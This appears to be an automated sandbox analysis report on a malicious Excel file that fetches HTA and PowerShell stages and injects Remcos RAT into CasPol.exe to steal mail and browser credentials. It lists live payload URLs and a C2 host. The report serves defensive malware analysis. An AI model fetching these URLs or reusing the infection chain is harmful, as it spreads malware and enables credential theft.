                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
                Tries to steal Mail credentials (via file registry)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: ESMTPPassword29_2_004033F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword29_2_00402DB3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword29_2_00402DB3
                Yara detected WebBrowserPassView password recovery tool
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3180, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Detected Remcos RAT
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-TTZ00A
                Yara detected Remcos RAT
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 26.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656044016.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656033427.00000000007BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001A.00000002.656339540.0000000000831000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3280, type: MEMORYSTR
                Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: cmd.exe26_2_0040569A

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information121
                Scripting                		Valid Accounts21
                Native API                		121
                Scripting                		1
                DLL Side-Loading                		11
                Deobfuscate/Decode Files or Information                		2
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services11
                Archive Collected Data                		13
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts23
                Exploitation for Client Execution                		1
                DLL Side-Loading                		1
                Bypass User Account Control                		21
                Obfuscated Files or Information                		211
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		21
                Encrypted Channel                		Exfiltration Over Bluetooth1
                Defacement
                Email AddressesDNS ServerDomain Accounts133
                Command and Scripting Interpreter                		1
                Windows Service                		1
                Access Token Manipulation                		1
                Install Root Certificate                		2
                Credentials in Registry                		1
                System Service Discovery                		SMB/Windows Admin Shares21
                Email Collection                		1
                Remote Access Software                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal Accounts2
                Service Execution                		Login Hook1
                Windows Service                		1
                DLL Side-Loading                		3
                Credentials In Files                		4
                File and Directory Discovery                		Distributed Component Object Model211
                Input Capture                		2
                Non-Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud Accounts4
                PowerShell                		Network Logon Script422
                Process Injection                		1
                Bypass User Account Control                		LSA Secrets39
                System Information Discovery                		SSH4
                Clipboard Data                		213
                Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Masquerading                		Cached Domain Credentials3
                Security Software Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items21
                Virtualization/Sandbox Evasion                		DCSync21
                Virtualization/Sandbox Evasion                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                Access Token Manipulation                		Proc Filesystem4
                Process Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt422
                Process Injection                		/etc/passwd and /etc/shadow1
                Application Window Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
                System Owner/User Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
                Remote System Discovery                		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 signatures2 2 Behavior Graph ID: 1544692 Sample: 0001.xls Startdate: 29/10/2024 Architecture: WINDOWS Score: 100 100 Suricata IDS alerts for network traffic 2->100 102 Found malware configuration 2->102 104 Malicious sample detected (through community Yara rule) 2->104 106 23 other signatures 2->106 12 EXCEL.EXE 57 41 2->12         started        process3 dnsIp4 96 192.3.101.21, 49164, 49166, 49167 AS-COLOCROSSINGUS United States 12->96 98 acesso.run 172.67.162.95, 443, 49163, 49168 CLOUDFLARENETUS United States 12->98 76 C:\Users\user\Desktop\0001.xls (copy), Composite 12->76 dropped 78 seemybestthingwhic...inesswogiven[1].hta, HTML 12->78 dropped 142 Microsoft Office drops suspicious files 12->142 17 mshta.exe 10 12->17         started        21 mshta.exe 10 12->21         started        23 AcroRd32.exe 21 12->23         started        file5 signatures6 process7 dnsIp8 80 acesso.run 17->80 108 Suspicious powershell command line found 17->108 110 PowerShell case anomaly found 17->110 25 powershell.exe 17->25         started        82 104.21.74.191, 443, 49165, 49170 CLOUDFLARENETUS United States 21->82 84 acesso.run 21->84 28 powershell.exe 22 21->28         started        signatures9 process10 file11 72 seethebestthingsgi...tirelifeforgeth.VBs, Unicode 25->72 dropped 31 wscript.exe 25->31         started        34 csc.exe 25->34         started        37 powershell.exe 25->37         started        74 C:\Users\user\AppData\...\htcuymda.cmdline, Unicode 28->74 dropped 138 Suspicious powershell command line found 28->138 140 Obfuscated command line found 28->140 39 powershell.exe 4 28->39         started        41 csc.exe 2 28->41         started        signatures12 process13 file14 144 Suspicious powershell command line found 31->144 146 Wscript starts Powershell (via cmd or directly) 31->146 148 Bypasses PowerShell execution policy 31->148 152 2 other signatures 31->152 43 powershell.exe 31->43         started        66 C:\Users\user\AppData\Local\...\1vm3e1kt.dll, PE32 34->66 dropped 46 cvtres.exe 34->46         started        150 Installs new ROOT certificates 39->150 68 C:\Users\user\AppData\Local\...\htcuymda.dll, PE32 41->68 dropped 48 cvtres.exe 41->48         started        signatures15 process16 signatures17 126 Suspicious powershell command line found 43->126 128 Obfuscated command line found 43->128 50 powershell.exe 43->50         started        process18 dnsIp19 86 drive.google.com 142.250.184.206, 443, 49173 GOOGLEUS United States 50->86 88 drive.usercontent.google.com 172.217.16.193, 443, 49174 GOOGLEUS United States 50->88 112 Writes to foreign memory regions 50->112 114 Injects a PE file into a foreign processes 50->114 54 CasPol.exe 50->54         started        signatures20 process21 dnsIp22 90 cokka.duckdns.org 54->90 92 cokka.duckdns.org 192.3.101.193, 49176, 49177, 9674 AS-COLOCROSSINGUS United States 54->92 94 geoplugin.net 178.237.33.50, 49178, 80 ATOM86-ASATOM86NL Netherlands 54->94 70 C:\ProgramData\remcos\logs.dat, data 54->70 dropped 116 Contains functionality to bypass UAC (CMSTPLUA) 54->116 118 Detected Remcos RAT 54->118 120 Tries to steal Mail credentials (via file registry) 54->120 124 8 other signatures 54->124 59 CasPol.exe 54->59         started        62 CasPol.exe 54->62         started        64 CasPol.exe 54->64         started        file23 122 Uses dynamic DNS services 90->122 signatures24 process25 signatures26 130 Tries to steal Instant Messenger accounts or passwords 59->130 132 Tries to steal Mail credentials (via file / registry access) 59->132 134 Searches for Windows Mail specific files 59->134 136 Tries to harvest and steal browser information (history, passwords, etc) 62->136

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                0001.xls24%ReversingLabsDocument-Excel.Exploit.CVE-2017-0199
                0001.xls100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.imvu.comr0%URL Reputationsafe
                http://ocsp.entrust.net030%URL Reputationsafe
                https://contoso.com/License0%URL Reputationsafe
                http://www.diginotar.nl/cps/pkioverheid00%URL Reputationsafe
                https://deff.nelreports.net/api/report?cat=msn0%URL Reputationsafe
                https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js0%URL Reputationsafe
                http://go.micros0%URL Reputationsafe
                http://geoplugin.net/json.gp/C0%URL Reputationsafe
                https://contoso.com/0%URL Reputationsafe
                https://nuget.org/nuget.exe0%URL Reputationsafe
                https://login.yahoo.com/config/login0%URL Reputationsafe
                http://ocsp.entrust.net0D0%URL Reputationsafe
                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                http://nuget.org/NuGet.exe0%URL Reputationsafe
                http://crl.entrust.net/server1.crl00%URL Reputationsafe
                http://www.imvu.com0%URL Reputationsafe
                https://contoso.com/Icon0%URL Reputationsafe
                http://geoplugin.net/json.gp0%URL Reputationsafe
                https://secure.comodo.com/CPS00%URL Reputationsafe
                http://crl.entrust.net/2048ca.crl00%URL Reputationsafe
                http://www.ebuddy.com0%URL Reputationsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                acesso.run
                		172.67.162.95
                		truefalse
                  		unknown
                  geoplugin.net
                  		178.237.33.50
                  		truefalse
                    		unknown
                    drive.google.com
                    		142.250.184.206
                    		truefalse
                      		unknown
                      drive.usercontent.google.com
                      		172.217.16.193
                      		truefalse
                        		unknown
                        cokka.duckdns.org
                        		192.3.101.193
                        		truetrue
                          		unknown

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIFtrue
                            		unknown
                            http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htatrue
                              		unknown
                              cokka.duckdns.orgtrue
                                		unknown
                                http://192.3.101.21/412/LLMCRTT.txttrue
                                  		unknown
                                  https://acesso.run/WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&claspfalse
                                    		unknown
                                    http://geoplugin.net/json.gpfalse
                                    • URL Reputation: safe
                                    		unknown

                                    URLs from Memory and Binaries

                                    NameSourceMaliciousAntivirus DetectionReputation
                                    http://b.scorecardresearch.com/beacon.jsbhv8BAD.tmp.28.drfalse
                                      		unknown
                                      http://acdn.adnxs.com/ast/ast.jsbhv8BAD.tmp.28.drfalse
                                        		unknown
                                        http://www.imvu.comrCasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_bhv8BAD.tmp.28.drfalse
                                          		unknown
                                          http://ocsp.entrust.net03mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1bhv8BAD.tmp.28.drfalse
                                            		unknown
                                            https://contoso.com/Licensepowershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://support.google.com/chrome/?p=plugin_flashCasPol.exe, 0000001C.00000002.590708077.00000000010A9000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		unknown
                                              http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.pngbhv8BAD.tmp.28.drfalse
                                                		unknown
                                                http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		unknown
                                                  http://www.diginotar.nl/cps/pkioverheid0mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9bhv8BAD.tmp.28.drfalse
                                                    		unknown
                                                    http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.htmlbhv8BAD.tmp.28.drfalse
                                                      		unknown
                                                      http://www.nirsoft.netCasPol.exe, 0000001C.00000002.589355929.0000000000364000.00000004.00000010.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        https://deff.nelreports.net/api/report?cat=msnbhv8BAD.tmp.28.drfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.jsbhv8BAD.tmp.28.drfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://www.imvu.com/OCasPol.exe, 0000001E.00000002.585080698.000000000036C000.00000004.00000010.00020000.00000000.sdmpfalse
                                                          		unknown
                                                          http://go.microspowershell.exe, 00000005.00000002.447820693.0000000003380000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • URL Reputation: safe
                                                          		unknown
                                                          http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.comCasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                            		unknown
                                                            http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htahttp://192.3.10mshta.exe, 00000004.00000003.421218427.00000000030A5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.475050003.0000000002A95000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.477509528.0000000002A95000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		unknown
                                                              http://cache.btrll.com/default/Pix-1x1.gifbhv8BAD.tmp.28.drfalse
                                                                		unknown
                                                                http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683bhv8BAD.tmp.28.drfalse
                                                                  		unknown
                                                                  https://www.google.comCasPol.exe, CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                    		unknown
                                                                    http://192.3.101.21/qqmshta.exe, 0000000C.00000002.480132820.0000000002C21000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		unknown
                                                                      http://192.3.101.21/mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		unknown
                                                                        http://geoplugin.net/json.gp/CCasPol.exe, 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                        • URL Reputation: safe
                                                                        		unknown
                                                                        http://o.aolcdn.com/ads/adswrappermsni.jsbhv8BAD.tmp.28.drfalse
                                                                          		unknown
                                                                          http://192.3.101.21/iqmshta.exe, 0000000C.00000002.480132820.0000000002C21000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		unknown
                                                                            http://cdn.taboola.com/libtrc/msn-home-network/loader.jsbhv8BAD.tmp.28.drfalse
                                                                              		unknown
                                                                              http://www.msn.com/?ocid=iehpbhv8BAD.tmp.28.drfalse
                                                                                		unknown
                                                                                https://acesso.run/WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=pmshta.exe, 0000000C.00000003.474537910.000000000052C000.00000004.00000020.00020000.00000000.sdmp, 0001.xls, 65330000.0.drfalse
                                                                                  		unknown
                                                                                  https://contoso.com/powershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  https://nuget.org/nuget.exepowershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  • URL Reputation: safe
                                                                                  		unknown
                                                                                  https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033bhv8BAD.tmp.28.drfalse
                                                                                    		unknown
                                                                                    http://static.chartbeat.com/js/chartbeat.jsbhv8BAD.tmp.28.drfalse
                                                                                      		unknown
                                                                                      http://www.msn.com/de-de/?ocid=iehpbhv8BAD.tmp.28.drfalse
                                                                                        		unknown
                                                                                        https://acesso.run/-omshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          https://drive.usercontent.google.compowershell.exe, 00000017.00000002.559344373.00000000026E0000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		unknown
                                                                                            http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%bhv8BAD.tmp.28.drfalse
                                                                                              		unknown
                                                                                              https://login.yahoo.com/config/loginCasPol.exefalse
                                                                                              • URL Reputation: safe
                                                                                              		unknown
                                                                                              https://acesso.run/mshta.exe, 00000004.00000002.421384718.0000000000220000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002C0C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		unknown
                                                                                                http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta...amshta.exe, 00000004.00000002.421421270.0000000000277000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.420929979.0000000000276000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  http://www.nirsoft.net/CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                    		unknown
                                                                                                    http://ocsp.entrust.net0Dmshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    • URL Reputation: safe
                                                                                                    		unknown
                                                                                                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000005.00000002.447820693.0000000002011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.494152955.0000000002001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.657254692.0000000002510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.559344373.0000000002311000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    • URL Reputation: safe
                                                                                                    		unknown
                                                                                                    https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3bhv8BAD.tmp.28.drfalse
                                                                                                      		unknown
                                                                                                      http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaUKWWSmshta.exe, 0000000C.00000002.480444734.0000000004A00000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		unknown
                                                                                                        http://go.crpowershell.exe, 00000017.00000002.558599376.000000000020F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		unknown
                                                                                                          http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta...Wmshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		unknown
                                                                                                            http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683bhv8BAD.tmp.28.drfalse
                                                                                                              		unknown
                                                                                                              http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(bhv8BAD.tmp.28.drfalse
                                                                                                                		unknown
                                                                                                                https://acesso.run/emshta.exe, 00000004.00000002.421652479.0000000004100000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		unknown
                                                                                                                  https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9bhv8BAD.tmp.28.drfalse
                                                                                                                    		unknown
                                                                                                                    http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_shbhv8BAD.tmp.28.drfalse
                                                                                                                      		unknown
                                                                                                                      http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.jsbhv8BAD.tmp.28.drfalse
                                                                                                                        		unknown
                                                                                                                        http://nuget.org/NuGet.exepowershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                        • URL Reputation: safe
                                                                                                                        		unknown
                                                                                                                        https://www.ccleaner.com/go/app_cc_pro_trialkeybhv8BAD.tmp.28.drfalse
                                                                                                                          		unknown
                                                                                                                          http://crl.entrust.net/server1.crl0mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          • URL Reputation: safe
                                                                                                                          		unknown
                                                                                                                          http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaC:mshta.exe, 00000004.00000002.421652479.0000000004151000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            		unknown
                                                                                                                            https://contextual.media.net/8/nrrV73987.jsbhv8BAD.tmp.28.drfalse
                                                                                                                              		unknown
                                                                                                                              http://www.imvu.comCasPol.exe, CasPol.exe, 0000001E.00000002.585689100.0000000000969000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000001E.00000002.585102201.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                                              • URL Reputation: safe
                                                                                                                              		unknown
                                                                                                                              https://contoso.com/Iconpowershell.exe, 00000005.00000002.450057733.0000000012041000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                              • URL Reputation: safe
                                                                                                                              		unknown
                                                                                                                              http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIFhpowershell.exe, 00000005.00000002.447719777.0000000000353000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                https://contextual.media.net/bhv8BAD.tmp.28.drfalse
                                                                                                                                  		unknown
                                                                                                                                  http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.jsbhv8BAD.tmp.28.drfalse
                                                                                                                                    		unknown
                                                                                                                                    https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2bhv8BAD.tmp.28.drfalse
                                                                                                                                      		unknown
                                                                                                                                      http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaccC:mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta...mshta.exe, 00000004.00000002.421421270.0000000000277000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.420929979.0000000000276000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          http://192.3.101.21/412/seethebestthingsgivingrenergytomyentirelifeforgetherback.tIFppowershell.exe, 0000000E.00000002.494152955.00000000025C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            http://www.msn.com/bhv8BAD.tmp.28.drfalse
                                                                                                                                              		unknown
                                                                                                                                              http://192.3.101.21/412/seethebepowershell.exe, 0000000E.00000002.494152955.00000000025C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                		unknown
                                                                                                                                                https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:aubhv8BAD.tmp.28.drfalse
                                                                                                                                                  		unknown
                                                                                                                                                  http://crl.pkioverheid.nl/DomOvLatestCRL.crl0mshta.exe, 00000004.00000002.421652479.0000000004112000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.480132820.0000000002BB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta8gmshta.exe, 0000000C.00000002.480132820.0000000002C32000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549bhv8BAD.tmp.28.drfalse
                                                                                                                                                        		unknown
                                                                                                                                                        http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaezmshta.exe, 0000000C.00000003.474537910.0000000000590000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.479217931.0000000000595000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.478341696.0000000000590000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          https://drive.google.compowershell.exe, 00000017.00000002.559344373.0000000002512000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            http://cdn.at.atwola.com/_media/uac/msn.htmlbhv8BAD.tmp.28.drfalse
                                                                                                                                                              		unknown
                                                                                                                                                              https://www.google.com/accounts/serviceloginCasPol.exefalse
                                                                                                                                                                		unknown
                                                                                                                                                                http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaUmshta.exe, 00000004.00000003.420173079.0000000004168000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421692898.000000000416B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.420925740.000000000416A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.htaniscmshta.exe, 0000000C.00000003.474537910.000000000053F000.00000004.00000020.00020000.00000000.sdmpfalse
